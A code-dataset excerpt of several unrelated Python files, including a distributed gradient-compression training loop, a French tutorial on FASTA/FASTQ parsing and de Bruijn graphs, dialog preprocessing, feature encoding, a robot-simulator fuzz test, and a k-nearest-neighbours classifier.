dist.init_process_group(backend=\"NCCL\", init_method=args.master_ip,\n timeout=datetime.timedelta(seconds=120),\n world_size=args.num_nodes, rank=args.rank)\n config['is_distributed'] = True \n print (\"Distributed Initialized\")\n train_task = train_network.build(config['dataset'], config)\n logger.info(\"==> Model Architecture: {}\".format(train_task.model))\n #TODO: Fix this for distributed\n # use parameter groups to get things for different learning rates\n # and weight decay parameters \n current_lr = config['init_lr']\n\n if args.compressor != \"signum\":\n if config['name'] == \"CNN\" or config['name'] == 'cifar100' or config['name'] == 'svhn':\n # optimizer only for langauge model\n # otherwise we are going manual\\\n # my guess is that repackage thing for language models changes\n # the model structure and the optimizer is registered only for some of\n # the parameters\n optimizer = optim.SGD(train_task.model.parameters(), lr=current_lr,\n momentum=config['momentum'],\n weight_decay=0.0001)\n if config['name'] == 'imagenet':\n # parameters \n parameters = add_weight_decay(train_task.model, config['weight_decay'])\n # weight decay is incorporated in the parameters\n optimizer = optim.SGD(parameters, lr=current_lr,\n momentum=config['momentum'], weight_decay=0)\n\n # let's comment out the learning rate warmup for now\n # scheduler_multi_step = lr_scheduler.MultiStepLR(\n # optimizer, milestones=[e - config['warmup_epoch']- 1 for e in\n # config['lr_decay_period']],\n # gamma=config['lr_decay_factor'])\n # scheduler_warmup = GradualWarmupScheduler(\n # optimizer, multiplier=config['multiplier'],\n # total_epoch=config['warmup_epoch'], after_scheduler=scheduler_multi_step)\n scheduler_multi_step = lr_scheduler.MultiStepLR(optimizer, \n milestones=[e for e in config['decay_steps']], \n gamma=config['lr_decay_factor'])\n\n if config['name'] == \"squeezenet_cifar\":\n # special optimizer for squeezenet\n optimizer = optim.SGD(train_task.model.parameters(), lr=current_lr,\n momentum=config['momentum'],\n weight_decay=5e-4)\n else:\n optimizer = None\n\n \n current_test_loss = None\n best_test_loss = None\n \n # since we are simulating things, we will need to allocate buffer for each simulated node\n vectorized_net = vectorize_grad([p.data for p in train_task.model.parameters()])\n momenta = []\n simulated_grad_buffer = torch.empty(args.num_simulated_nodes, vectorized_net.size()[0]).to(config['device']) # #simulated node X model dimention d\n for node_index in range(args.num_simulated_nodes):\n momenta.append([torch.empty_like(param) for param in train_task.model.parameters()])\n\n first_iter = 0 # hack for momentum code\n\n if args.compressor == \"vanilla\":\n grad_compressor = None\n elif args.compressor == \"suquantization\":\n grad_compressor = StochasticUniformQuantization(random_seed=0, device=config['device'])\n elif args.compressor == \"signum\":\n grad_compressor = SignSGDwithMajorityVoteReducerSimulation(random_seed=0, device=config['device'])\n else:\n raise NotImplementedError(\"Unsupported gradient compressor !\")\n\n \n wds = [get_weight_decay(name, config) for name in train_task.parameter_names]\n for epoch in range(config['num_epochs']):\n # to put into the `breakdown_time_log`\n epoch_compute_time = 0.0\n epoch_comm_time = 0.0\n epoch_total_time = 0.0\n epoch_encoding_overhead = 0.0\n epoch_iter_time = 0.0\n\n # for logging out the current learning rate\n if args.compressor != \"signum\":\n for param_group in optimizer.param_groups:\n logger.info(\"### Epoch: {}, Current Effective lr: {}\".format(epoch, param_group['lr']))\n break\n else:\n current_lr = get_lr(config=config, epoch_num=epoch)\n logger.info(\"### Epoch: {}, Current Effective lr: {}\".format(epoch, current_lr))\n\n if config['is_distributed']:\n train_task.sampler.set_epoch(epoch) # set epoch to make sure the data is reshuffled per epoch\n \n torch.cuda.synchronize() \n tic = time.time()\n elements_per_epoch = 0\n simulated_nodes_index = 0 # which is [0, args.num_simulated_nodes-1]\n global_iter = 0\n \n # note that currently we assume everything is running over CUDA\n train_task.model.train()\n\n \n for iter_index, (data, target) in enumerate(train_task.train_loader):\n comm_start = torch.cuda.Event(enable_timing=True)\n comm_end = torch.cuda.Event(enable_timing=True)\n comp_start = torch.cuda.Event(enable_timing=True)\n comp_end = torch.cuda.Event(enable_timing=True)\n iter_start = torch.cuda.Event(enable_timing=True)\n iter_end = torch.cuda.Event(enable_timing=True)\n\n debug_start = torch.cuda.Event(enable_timing=True)\n debug_end = torch.cuda.Event(enable_timing=True)\n\n iter_start.record()\n\n out_grad_list = list() #list to store output gradients\n\n comp_start.record()\n grad_train = train_task.batch_loss_and_gradient(batch_idx=iter_index, data=data, target=target, logger=logger, epoch=epoch)\n\n comp_end.record()\n torch.cuda.synchronize()\n iter_comp_dur = float(comp_start.elapsed_time(comp_end))/1000.0\n epoch_compute_time += iter_comp_dur\n\n if args.compressor == \"signum\":\n # based on the discussion in https://arxiv.org/pdf/1810.05291.pdf, \n # momentum rather than gradient is compressed\n # we thus calculate the momentum first\n for grad, momentum in zip(grad_train, momenta[simulated_nodes_index]):\n if epoch == 0 and iter_index < args.num_simulated_nodes:\n momentum.data = grad.clone().detach()\n else:\n momentum.mul_(config[\"momentum\"]).add_(\n 1 - config[\"momentum\"], grad\n )\n replace_grad_by_momentum(grad, momentum)\n\n # aggregate the gradients here:\n concat_grad = vectorize_grad(grad_train)\n\n simulated_grad_buffer[simulated_nodes_index] = concat_grad\n # collect the gradient for simulated user\n simulated_nodes_index += 1\n\n if simulated_nodes_index < args.num_simulated_nodes:\n continue\n else:\n print(\"######## Epoch: {} | Global iter: {}/{}\".format(epoch, global_iter, int(len(train_task.train_loader)/args.num_simulated_nodes)))\n # communication step\n if args.compressor == \"vanilla\":\n comm_start.record()\n\n if config['grad_comb']:\n if args.compressor == \"vanilla\":\n torch.distributed.all_reduce(concat_grad, async_op=False)\n concat_grad[:] = concat_grad/args.num_nodes\n elif args.compressor == \"suquantization\":\n #print(\"##### max: {}, min grad: {}\".format(torch.max(concat_grad), torch.min(concat_grad)))\n reduced_aggregated_grad, bits_communicated, compressor_iter_comm_time, iter_encode_decode_time = grad_compressor.reduce(simulated_grad_buffer)\n concat_grad[:] = reduced_aggregated_grad/args.num_nodes\n elif args.compressor == \"signum\":\n #print(\"######## Compressing gradient local iter: {}\".format(iter_index))\n reduced_aggregated_grad, bits_communicated, compressor_iter_comm_time, iter_encode_decode_time = grad_compressor.reduce(simulated_grad_buffer)\n concat_grad[:] = reduced_aggregated_grad\n else:\n raise NotImplementedError(\"Unsupported gradient compressor !\")\n\n if args.compressor == \"vanilla\":\n comm_end.record()\n torch.cuda.synchronize()\n\n if config['grad_comb']:\n out_grad_list = devectorize_grad(concat_grad, train_task.model)\n if args.compressor == \"vanilla\":\n iter_comm_cost = float(comm_start.elapsed_time(comm_end))/1000.0\n epoch_comm_time += iter_comm_cost\n elif args.compressor in (\"suquantization\", \"signum\"):\n epoch_comm_time += compressor_iter_comm_time\n epoch_encoding_overhead += iter_encode_decode_time\n else:\n raise NotImplementedError(\"Unsupported gradient compressor !\")\n \n # updated the gradients in place\n # TODO: Move this to a new function\n if args.compressor != \"signum\":\n for idx, param in enumerate(train_task.model.parameters()):\n param.grad.data = out_grad_list[idx]\n \n if config['name'] == 'CNN' or config['name'] == 'cifar100' or config['name'] == 'imagenet' or config['name'] == 'svhn':\n optimizer.step()\n optimizer.zero_grad()\n else:\n raise NotImplementedError(\"Unsupported model name type ...\")\n else:\n # for signsgd we will need to handle weight decay manually: (line ``update parameters\"\" in https://openreview.net/pdf?id=BJxhijAcY7)\n for grad, param, wd in zip(out_grad_list, train_task.model.parameters(), wds):\n if wd > 0:\n grad.add_(wd, param.data.detach())\n\n for grad, p in zip(out_grad_list, train_task.model.parameters()):\n p.data.add_(-current_lr, grad)\n\n train_task.model.zero_grad()\n\n iter_end.record()\n torch.cuda.synchronize()\n iter_total_dur = float(iter_start.elapsed_time(iter_end))/1000.0\n epoch_iter_time += iter_total_dur\n \n # meset the gradient buffer\n simulated_grad_buffer = torch.empty(args.num_simulated_nodes, vectorized_net.size()[0]).to(config['device'])\n simulated_nodes_index = 0\n global_iter += 1\n\n\n breakdown_time_log_dict[epoch] = {\"comp\":epoch_compute_time, \"comm\":epoch_comm_time, \n \"encdec_overhead\":epoch_encoding_overhead, \"total\":epoch_iter_time}\n\n\n floats_communicated[epoch] = elements_per_epoch\n\n torch.distributed.barrier() \n\n with open(bytes_log_fname, \"w\") as fout:\n json.dump(floats_communicated, fout)\n\n with open(per_iteration_compute_time_log, \"w\") as fout:\n json.dump(compute_time_per_dict, fout)\n with open(breakdown_time_log_fname, \"w\") as fout:\n json.dump(breakdown_time_log_dict, fout)\n\n # validate model\n current_test_loss = train_task.validate_model(logger)\n\n current_test_loss = 10000\n if not best_test_loss or current_test_loss < best_test_loss:\n best_test_loss = current_test_loss\n\n if args.compressor != \"signum\":\n if config['name'] == 'CNN' or config['name'] == 'cifar100' or config['name'] == 'svhn':\n for group in optimizer.param_groups:\n group['lr'] = current_lr\n if config['name'] == 'imagenet':\n scheduler_multi_step.step()\n else:\n pass\n\n\nif __name__ == \"__main__\":\n # making sure seed is the first thing to be called\n seed(42)\n args = add_fit_args(argparse.ArgumentParser(description='Auto Scale'))\n log_file_name = os.path.basename(args.norm_file).split(\".\")[0] + \".log\"\n logging.basicConfig(filename=log_file_name)\n logger = logging.getLogger()\n logger.setLevel(logging.INFO)\n logger.info(\"Arguments: {}\".format(args))\n print(args)\n #main(dataset=\"Cifar10\", jl=True)\n main(args)\n","sub_path":"dist_experiments/main_simulation.py","file_name":"main_simulation.py","file_ext":"py","file_size_in_byte":23850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"500280260","text":"\n# coding: utf-8\n\n# In[1]:\n\n\nimport gzip\nfrom itertools import islice\n\n\n# # Formats de fichiers\n\n# ## FASTA\n# \n# Le fichier FASTA contient des séquences identifiées et annotés brièvement par une description.\n# \n# ```\n# >ID DESCRIPTION\n# SEQUENCE\n# ```\n\n# In[2]:\n\n\nwith gzip.open('GCF_000002985.6_WBcel235_rna.fna.gz', 'rt') as f:\n print(f.readline())\n print(f.readline())\n\n\n# In[3]:\n\n\ndef read_fasta(path):\n with gzip.open(path, 'rt') as f:\n accession, description, seq = None, None, None\n for line in f:\n if line[0] == '>':\n # yield current record\n if accession is not None:\n yield accession, description, seq\n \n # start a new record\n accession, description = line[1:].rstrip().split(maxsplit=1)\n seq = ''\n else:\n seq += line.rstrip()\n\n\n# In[4]:\n\n\nnext(read_fasta('GCF_000002985.6_WBcel235_rna.fna.gz'))\n\n\n# ## FASTQ\n# \n# Le format FASTQ contient des fragments annotés avec une qualité pour chaque symboles lus par le système de séquençage.\n# \n# ```\n# @SEQID DESCRIPTION\n# SEQUENCE\n# +\n# QUALITY\n# ```\n\n# In[5]:\n\n\nwith gzip.open('reads.fastq.gz', 'rt') as f:\n print(f.readline())\n print(f.readline())\n print(f.readline())\n print(f.readline())\n\n\n# In[6]:\n\n\ndef read_fastq(path):\n with gzip.open(path, 'rt') as f:\n seqid, description = f.readline()[1:].rstrip().split(maxsplit=1)\n sequence = f.readline().rstrip()\n _ = f.readline()\n quality = f.readline().rstrip()\n yield seqid, description, sequence, quality\n\n\n# In[7]:\n\n\nnext(read_fastq('reads.fastq.gz'))\n\n\n# ## BED\n# \n# Le format BED est un format tabulaire de 3 à 12 colonnes qui contient des annotations de sous-séquences.\n# \n# ```\n# reference start end name\n# ```\n# \n# Dans ce TP, nous utiliserons seulement les 4 premières colonnes pour identifier la référence, une paire de coordonnées `(début, fin)` et l'identifiant du contig assemblé depuis notre graphe de Brujin.\n\n# In[8]:\n\n\ndef read_bed(path):\n with open(path) as f:\n ref, start, end, name = f.readline().rstrip().split('\\t')\n yield ref, int(start) - 1, int(end), name\n\n\n# In[9]:\n\n\nnext(read_bed('example.bed'))\n\n\n# # Notions de base et algorithmes\n\n# In[10]:\n\n\nseq = next(read_fasta('GCF_000002985.6_WBcel235_rna.fna.gz'))[2]\nl = len(seq)\n\n\n# # $k$-mer\n# \n# Sous-séquence de longueur $k$. Une chaîne de longueur $l$ possède $l - k + 1$ $k$-mers.\n\n# In[11]:\n\n\nk = 21\nkmers = [seq[i:i+k] for i in range(l - k + 1)]\n\n\n# In[12]:\n\n\nfor i, km in enumerate(kmers[:10]):\n print((i * ' ') + km)\n\n\n# # Graphe de Brujin\n# \n# Les sommets sont les $k$-mers et les arcs sont les transition sur un symbole de l'aphabet.\n\n# In[13]:\n\n\nk = 7\nkmers = [seq[i:i+k] for i in range(l - k + 1)]\n\ndef edges(kmers_graph):\n for k in kmers_graph:\n for s in 'ATCG':\n successor = k[1:] + s\n if successor in kmers_graph:\n yield k, successor\n \nfor v1, v2 in islice(edges(set(kmers[:10])), 10):\n print(v1, v2, 'transition on {}'.format(v2[-1]))\n\n\n# In[14]:\n\n\nimport networkx as nx\nget_ipython().run_line_magic('matplotlib', 'inline')\nimport matplotlib.pyplot as plt\n\nk = 5\nkmers = [seq[i:i+k] for i in range(l - k + 1)]\n\nplt.figure(figsize=(16,8))\ng = nx.DiGraph()\ng.add_nodes_from(set(kmers[:20]))\ng.add_edges_from((u, v, {'label': v[-1]}) for u, v in edges(set(kmers[:20])))\nnx.draw(g, pos=nx.drawing.nx_agraph.graphviz_layout(g), with_labels=True, node_size=3000)\nnx.draw_networkx_edge_labels(g, pos=nx.drawing.nx_agraph.graphviz_layout(g), edge_labels=nx.get_edge_attributes(g, 'label'))\nplt.show()\n\n\n# # $k$-mer walk\n# \n# Lorsque vous traverserez votre graphe, vous devrez adapter cette technique puisqu'il pourra exister plusieurs candidats potentiels et il sera également possible de revenir sur ses pas (i.e. une boucle).\n\n# In[15]:\n\n\ndef kmer_walk(kmer_graph, start):\n k = start\n \n # yield the starting node\n yield k\n \n while True:\n for symbol in ['A', 'T', 'C', 'G']:\n candidate = k[1:] + symbol\n if candidate in kmer_graph:\n k = candidate\n yield k\n break\n else:\n break # break the while-loop if no more candidate is found\n\n\n# In[16]:\n\n\nk = 21\nkmers = [seq[i:i+k] for i in range(l - k + 1)]\n\nkmer_graph = set(kmers)\ncontig = None\n\nfor k in islice(kmer_walk(kmer_graph, start='GATGCATTAGAATTACTTTCA'), 20):\n if contig is None:\n contig = k\n else:\n contig += k[-1]\n print(((len(contig) - len(k)) * ' ') + k)\nprint(contig)\n\n\n# # Exemple de cycle\n# \n# La solution générale pour un cycle est de mémoriser les endroits déjà visité du graphe et d'interrompre le parcours.\n\n# In[17]:\n\n\nk = 6\nkmers = [seq[i:i+k] for i in range(l - k + 1)]\n\ncontig = None\nclosed = set()\n\nfor k in islice(kmer_walk(kmers, start='GATGCA'), 40):\n if contig is None:\n contig = k\n else:\n contig += k[-1]\n \n print(((len(contig) - len(k)) * ' ') + k, 'already visited!' if k in closed else '')\n \n if k in closed:\n break # stop traversal on repeat\n else:\n closed.add(k)\n\nprint(contig)\n\n\n# # Produire des identifiants aléatoires\n\n# In[18]:\n\n\n# Identifiant aléatoire\nimport random\nimport string\nrandom.seed(123) # recommendé pour des résultats reproduisibles!\n''.join(random.choices(string.ascii_uppercase, k=10))\n\n","sub_path":"Introduction aux formats de fichiers et algorithmes utilisés dans le TP2.py","file_name":"Introduction aux formats de fichiers et algorithmes utilisés dans le TP2.py","file_ext":"py","file_size_in_byte":5508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"478069811","text":"# Preprocess topical movie dialogs dataset\n\nfrom multiprocessing import Pool\nimport argparse\nimport pickle\nimport random\nimport os\nfrom urllib.request import urlretrieve\nfrom zipfile import ZipFile\nfrom pathlib import Path\nfrom tqdm import tqdm\nfrom model.utils import Tokenizer, Vocab, PAD_TOKEN, SOS_TOKEN, EOS_TOKEN\nimport pdb\nimport json\nimport re\nfrom tqdm.auto import tqdm\nimport sys\nfrom collections import OrderedDict\n\nproject_dir = Path(__file__).resolve().parent\ndatasets_dir = project_dir.joinpath('datasets/')\ntopical_conv_dir = datasets_dir.joinpath('topical_chat/conversations/')\n\n# Tokenizer\ntokenizer = Tokenizer('spacy')\n\ndef loadConversations(fileName):\n \"\"\"\n Args:\n fileName (str): file to load\n field (set): fields to extract\n Return:\n dict>: the extracted fields for each line\n \"\"\"\n conversations = []\n\n with open(fileName, 'r') as f:\n conv_set = json.load(f)\n conv_id = []\n # get the id for each conversation\n for key in conv_set.keys():\n conv_id.append(key)\n #extract conversations:\n for id in conv_id:\n conversations.append(conv_set[id])\n return conversations\n\n\n\n\ndef tokenize_conversation(lines):\n sentence_list = [tokenizer(line['message']) for line in lines]\n return sentence_list\n\n\ndef pad_sentences(conversations, max_sentence_length, max_conversation_length):\n def pad_tokens(tokens, max_sentence_length=max_sentence_length):\n n_valid_tokens = len(tokens)\n if n_valid_tokens > max_sentence_length - 1:\n tokens = tokens[:max_sentence_length - 1]\n n_pad = max_sentence_length - n_valid_tokens - 1\n tokens = tokens + [EOS_TOKEN] + [PAD_TOKEN] * n_pad\n return tokens\n\n def pad_conversation(conversation):\n conversation = [pad_tokens(sentence) for sentence in conversation]\n return conversation\n\n all_padded_sentences = []\n all_sentence_length = []\n\n for conversation in conversations:\n if len(conversation) > max_conversation_length:\n conversation = conversation[:max_conversation_length]\n sentence_length = [min(len(sentence) + 1, max_sentence_length) # +1 for EOS token\n for sentence in conversation]\n all_sentence_length.append(sentence_length)\n\n sentences = pad_conversation(conversation)\n all_padded_sentences.append(sentences)\n\n sentences = all_padded_sentences\n sentence_length = all_sentence_length\n return sentences, sentence_length\n\ndef flat(l):\n for k in l:\n if not isinstance(k, (list, tuple)):\n yield k\n else:\n yield from flat(k)\n\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser()\n\n # Maximum valid length of sentence\n # => SOS/EOS will surround sentence (EOS for source / SOS for target)\n # => maximum length of tensor = max_sentence_length + 1\n parser.add_argument('-s', '--max_sentence_length', type=int, default=30)\n parser.add_argument('-c', '--max_conversation_length', type=int, default=10)\n\n # Split Ratio\n split_ratio = [0.8, 0.1, 0.1]\n\n # Vocabulary\n parser.add_argument('--max_vocab_size', type=int, default=20000)\n parser.add_argument('--min_vocab_frequency', type=int, default=5)\n\n # Multiprocess\n parser.add_argument('--n_workers', type=int, default=os.cpu_count())\n\n args = parser.parse_args()\n\n max_sent_len = args.max_sentence_length\n max_conv_len = args.max_conversation_length\n max_vocab_size = args.max_vocab_size\n min_freq = args.min_vocab_frequency\n n_workers = args.n_workers\n\n # Download and extract dialogs if necessary.\n\n print(\"Loading conversations...\")\n train = loadConversations(topical_conv_dir.joinpath(\"train.json\"))\n valid_freq = loadConversations(topical_conv_dir.joinpath(\"valid_freq.json\"))\n valid_rare = loadConversations(topical_conv_dir.joinpath(\"valid_rare.json\"))\n test_freq = loadConversations(topical_conv_dir.joinpath(\"test_freq.json\"))\n test_rare = loadConversations(topical_conv_dir.joinpath(\"test_rare.json\"))\n print('Number of training conversations:', len(train))\n\n\n\n def to_pickle(obj, path):\n with open(path, 'wb') as f:\n pickle.dump(obj, f)\n\n for split_type, conv_objects in [('train', train), ('valid_freq', valid_freq), ('valid_rare', valid_rare), ('test_freq', test_freq),\n ('test_rare', test_rare)]:\n print(f'Processing {split_type} dataset...')\n split_data_dir = topical_conv_dir.joinpath(split_type)\n split_data_dir.mkdir(exist_ok=True)\n\n print(f'Tokenize.. (n_workers={n_workers})')\n def _tokenize_conversation(conv):\n return tokenize_conversation(conv['content'])\n\n with Pool(n_workers) as pool:\n conversations = list(tqdm(pool.imap(_tokenize_conversation, conv_objects),\n total=len(conv_objects)))\n\n conversation_length = [min(len(conv['content']), max_conv_len)\n for conv in conv_objects]\n\n sentences, sentence_length = pad_sentences(\n conversations,\n max_sentence_length=max_sent_len,\n max_conversation_length=max_conv_len)\n\n print('max conversation turns:', max(conversation_length))\n print('max_sentence_length:', max(flat(sentence_length)))\n print('Saving preprocessed data at', split_data_dir)\n to_pickle(conversation_length, split_data_dir.joinpath('conversation_length.pkl'))\n to_pickle(sentences, split_data_dir.joinpath('sentences.pkl'))\n to_pickle(sentence_length, split_data_dir.joinpath('sentence_length.pkl'))\n\n if split_type == 'train':\n\n print('Save Vocabulary...')\n vocab = Vocab(tokenizer)\n vocab.add_dataframe(conversations)\n vocab.update(max_size=max_vocab_size, min_freq=min_freq)\n\n print('Vocabulary size: ', len(vocab))\n vocab.pickle(topical_conv_dir.joinpath('word2id.pkl'), topical_conv_dir.joinpath('id2word.pkl'))\n\n print('Done!')\n","sub_path":"topical_chat_preprocess.py","file_name":"topical_chat_preprocess.py","file_ext":"py","file_size_in_byte":6132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"554502277","text":"import numba\nimport numpy as np\nimport pandas as pd\nimport time\nimport math\n\nclass FeatureEncoding:\n\n @classmethod\n def ordinal(cls,data):\n\n ##\n #data = cls.__SimpleOrdinal(data)\n\n ##\n data = cls.__OHE(data)\n\n return data\n\n @classmethod\n def __OHE(cls,data):\n\n df_train, df_valid, df_test = data\n\n CategoryCols = ['hashottuborspa','taxdelinquencyflag','airconditioningtypeid','architecturalstyletypeid',\n 'buildingqualitytypeid','decktypeid','fips','heatingorsystemtypeid','pooltypeid10','pooltypeid2','pooltypeid7',\n 'propertylandusetypeid','rawcensustractandblock','regionidcity','regionidcounty','regionidneighborhood','regionidzip']\n\n for cc in CategoryCols:\n\n dt = df_train[cc].dtype.name\n\n start0 = time.time()\n ValueCounts = [str(int(v)) if(dt != 'object') else v for v in df_train[cc].value_counts().index.values]\n ValueCounts.append('missing')\n SelectedValues = dict((k, v) for (v, k) in enumerate(ValueCounts, start=0))\n OHTr = cls.__ApplyOH(df_train[cc], SelectedValues,dt)\n OHVa = cls.__ApplyOH(df_valid[cc],SelectedValues,dt)\n OHTe = cls.__ApplyOH(df_test[cc],SelectedValues,dt)\n\n headers = dict((('%s_%s' % (cc,k)),SelectedValues[k]) for k in SelectedValues)\n tmp = [v[0] for v in sorted(headers.items(), key=lambda x: x[1])]\n OHDFTr = pd.DataFrame(OHTr, index= df_train.index, columns= tmp)\n OHDFVa = pd.DataFrame(OHVa, index= df_valid.index, columns= tmp)\n OHDFTe = pd.DataFrame(OHTe, index= df_test.index, columns= tmp)\n end0 = time.time()\n print('ohe, time elapsed %ds' % (end0 - start0))\n\n start1 = time.time()\n df_train = pd.concat([df_train, OHDFTr], axis= 1)\n df_valid = pd.concat([df_valid, OHDFVa], axis= 1)\n df_test = pd.concat([df_test, OHDFTe], axis= 1)\n end1 = time.time()\n print('concat, time elapsed %ds' % (end1 - start1))\n\n df_train.drop(cc, axis= 1, inplace= True)\n df_valid.drop(cc, axis= 1, inplace= True)\n df_test.drop(cc, axis=1, inplace=True)\n print('Column %s was encoded.' % cc)\n\n return (df_train, df_valid, df_test)\n\n @classmethod\n def __SimpleOrdinal(cls,data):\n\n df_train, df_test = data\n\n for c in df_train.dtypes[df_train.dtypes == object].index.values:\n df_train[c] = (df_train[c] == True)\n for c in df_test.dtypes[df_test.dtypes == object].index.values:\n df_test[c] = (df_test[c] == True)\n\n return (df_train,df_test)\n\n ## speed-up version of apply function\n @classmethod\n @numba.jit\n def __ApplyOH(cls,ColumnValues, headers,dt):\n\n n = len(ColumnValues)\n result = np.zeros((n, len(headers)), dtype='int8')\n if(dt == 'object'):\n for i in range(n):\n v = ColumnValues[i]\n if(pd.isnull(v)):\n result[i,headers['missing']] = 1\n elif(v in headers):\n result[i,headers[v]] = 1\n else:\n for i in range(n):\n v = ColumnValues[i]\n if(math.isnan(v)):\n result[i,headers['missing']] = 1\n elif(('%d' % int(v)) in headers):\n result[i,headers['%d' % int(v)]] = 1\n\n return result\n","sub_path":"Zillow/src/feat/FeatureEncoding.py","file_name":"FeatureEncoding.py","file_ext":"py","file_size_in_byte":3494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"299179692","text":"from django.db import models\n\nfrom mptt.models import MPTTModel, TreeForeignKey\n\n\nclass Tag(MPTTModel):\n title = models.CharField(max_length=64, unique=True)\n slug = models.SlugField(max_length=64, unique=True)\n parent = TreeForeignKey(\n 'self',\n null=True,\n blank=True,\n related_name='children',\n db_index=True,\n limit_choices_to=models.Q(level=0) | models.Q(level=1),\n on_delete=models.SET_NULL,\n )\n\n def __str__(self):\n return self.title\n","sub_path":"apps/tags/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"262033309","text":"import os, shutil\n\npackageNum = 20\nclassPerPackage = 20\nprefix = \"A\"\n\n\npNum = 0\nfor pNum in range(packageNum):\n\tdirName = \"package_\"+prefix+\"_\"+str(pNum)\n\ttry:\n\t shutil.rmtree(dirName)\n\texcept:\n\t print(\"asd\")\n\tos.mkdir(dirName)\n\tcNum = 0\n\tfor cNum in range(classPerPackage):\n\t\tfileName = dirName+\"/\"+\"Foo_\"+prefix+\"_\"+str(pNum)+str(cNum)+\".kt\"\n\t\tfH = open(fileName,\"w+\")\n\t\tfH.write(\"package \"+dirName+\"\\n\")\n\t\tif cNum == 0 and pNum > 0:\n\t\t fH.write(\"import package_\"+prefix+\"_\"+str(pNum-1)+\".Foo_\"+prefix+\"_\" +str(pNum-1)+str(classPerPackage-1)+\"\\n\")\n\t\tfH.write(\"class Foo_\"+prefix+\"_\"+str(pNum)+str(cNum)+\" {\\n\")\n\t\tfH.write(\"fun foo0() {\\n\")\n\t\tfH.write(\"var i=0\\n\")\n\t\tlNum = 0\n\t\tfor lNum in range(20):\n\t\t\tfH.write(\"i+=Math.random().toInt()\\n\")\n\t\tif cNum > 0:\n\t\t\tfH.write(\"Foo_\"+prefix+\"_\"+str(pNum)+str(cNum-1)+\"().foo0()\\n\")\n\t\telif pNum > 0:\n\t\t fH.write(\"Foo_\"+prefix+\"_\"+str(pNum-1)+str(classPerPackage-1)+\"().foo0()\\n\")\n\t\tfH.write(\"}\\n\")\n\t\tfH.write(\"}\")\n\t\tfH.close()\n","sub_path":"libA/src/main/java/generate.py","file_name":"generate.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"405684222","text":"'''\n The purpose of the fuzz 'test' is not exactly to 'do' anything, but\n rather it mashes the buttons and switches in various completely\n random ways to try and find any possible control situations and \n such that would probably never *normally* come up, but.. well, \n given a bit of bad luck, could totally happen. \n \n Keep in mind that the results will totally different every time\n you run this, so if you find an error, fix it -- but don't expect\n that you'll be able to duplicate it with this test. Instead, you\n should design a specific test that can trigger the bug, to ensure\n that you actually fixed it.\n'''\n\nimport pyfrc.config\nimport pytest\nimport random\nimport math\n \ndef fuzz_bool():\n \n if random.randrange(0,2,1) == 0:\n return False\n else:\n return True\n \n \n \ndef fuzz_all(hal_data):\n\n # fuzz the eio switches \n for dio in hal_data['dio']:\n \n # inputs only\n if not dio['is_input'] or not dio['initialized'] :\n continue\n \n # activate at random times\n dio['value'] = fuzz_bool()\n\n \n # fuzz the joysticks\n for stick in hal_data['joysticks']:\n if stick['has_source']:\n # axes \n for axes in stick['axes']:\n if fuzz_bool():\n axes = random.uniform(-1,1)\n \n # buttons\n for button in stick['buttons']:\n self._fuzz_bool(tm, j, self.ds.stick_buttons[i], stick[1])\n\n \n # fuzz analog channels\n for analog in hal_data['analog_in']:\n if analog['has_source'] and fuzz_bool():\n analog['voltage'] = analog[ 'avg_voltage']= random.uniform(0.0,5.0)\n analog['value'] = analog['value'] = (analog['voltage']/5.0) * analog['offset']\n\ndef test_fuzz(hal_data, control, fake_time, robot):\n '''\n Runs through a whole game randomly setting components\n '''\n class TestController:\n \n def __init__(self):\n self.mode = None\n \n self.disabled = 0\n self.autonomous = 0\n self.teleop = 0\n \n \n def on_step(self, tm):\n '''\n Called on each simulation step. This runs through each mode,\n and asserts that the robot didn't spend too much time in any\n particular mode.This also calls fuzz_all and fuzzes all data\n \n :param tm: The current robot time\n '''\n \n fuzz_all(hal_data)\n mode = control.get_mode()\n if mode == self.mode:\n return\n \n if mode == 'autonomous':\n self.autonomous += 1\n assert int(math.floor(fake_time.get())) == 5\n \n elif mode == 'teleop':\n self.teleop += 1\n assert int(math.floor(fake_time.get())) == 21\n \n elif mode == 'disabled':\n self.disabled += 1\n \n if self.disabled == 1:\n assert int(math.floor(fake_time.get())) == 0\n else:\n assert int(math.floor(fake_time.get())) == 20\n else:\n assert False, \"Internal error!\"\n \n self.mode = mode\n \n control.set_practice_match()\n tc = control.run_test(TestController)\n \n assert int(math.floor(fake_time.get())) == 36\n \n # If an error occurs here, for some reason a mode got called too many times\n assert tc.disabled == 2\n assert tc.autonomous == 1\n assert tc.teleop == 1\n\n\n \n\n","sub_path":"lib/pyfrc/tests/fuzz_test.py","file_name":"fuzz_test.py","file_ext":"py","file_size_in_byte":3721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"85167715","text":"import numpy as np\n\n\nclass KNearestNeighbors:\n def __init__(self, num_of_classes, n_neighbors=5, metric='hamming'):\n self.num_of_classes = num_of_classes\n self.n_neigbors = n_neighbors\n\n if metric not in ['hamming']:\n raise Exception(metric + ' metric is not known')\n self.metric = metric\n\n def predict(self, x, x_train, y_train):\n distances = None\n if self.metric == 'hamming':\n distances = self.hamming_distance(x, x_train)\n\n labels = self.sort_train_labels_knn(distances, y_train)\n p_y_x = self.p_y_x_knn(labels, self.n_neigbors)\n y_pred = np.argmax(p_y_x, axis=1)\n return y_pred\n\n @staticmethod\n def hamming_distance(x, x_train):\n \"\"\"\n Hamming distance between documents\n\n :param x: array of new documents N1xD\n :param x_train: array of already classified documents N2xD\n :return: matrix of hamming distances N1xN2\n \"\"\"\n\n hamming_similarity = x.dot(x_train.T) + (1 - x).dot(1 - x_train.T)\n dimentions = x.shape[1]\n return dimentions - hamming_similarity\n\n @staticmethod\n def sort_train_labels_knn(dist, y):\n \"\"\"\n :param dist matrix of hamming distances N1xN2\n :param y: vector of known labels N2\n :return: matrix of labels sorted in ascending order\n 